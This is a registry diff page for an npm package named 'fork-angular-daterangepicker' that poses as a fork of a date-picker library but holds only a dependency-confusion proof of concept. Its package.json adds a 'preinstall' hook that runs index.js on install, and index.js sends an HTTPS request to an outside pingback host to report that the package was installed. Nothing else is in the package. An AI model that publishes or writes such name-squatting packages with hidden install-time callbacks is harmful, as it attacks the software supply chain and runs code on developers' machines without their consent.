fork-angular-daterangepicker 9.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +9 -0
  2. package/package.json +8 -0
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ const https = require("https");
2
+
3
+ const callback = "https://4b84b8ub.pingback.sh/npm-installed";
4
+
5
+ https.get(callback, (res) => {
6
+ console.log("PoC callback sent");
7
+ }).on("error", () => {
8
+ console.log("Callback failed");
9
+ });
package/package.json ADDED
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "fork-angular-daterangepicker",
3
+ "version": "9.0.0",
4
+ "description": "PoC package for dependency confusion testing",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ }
8
+ }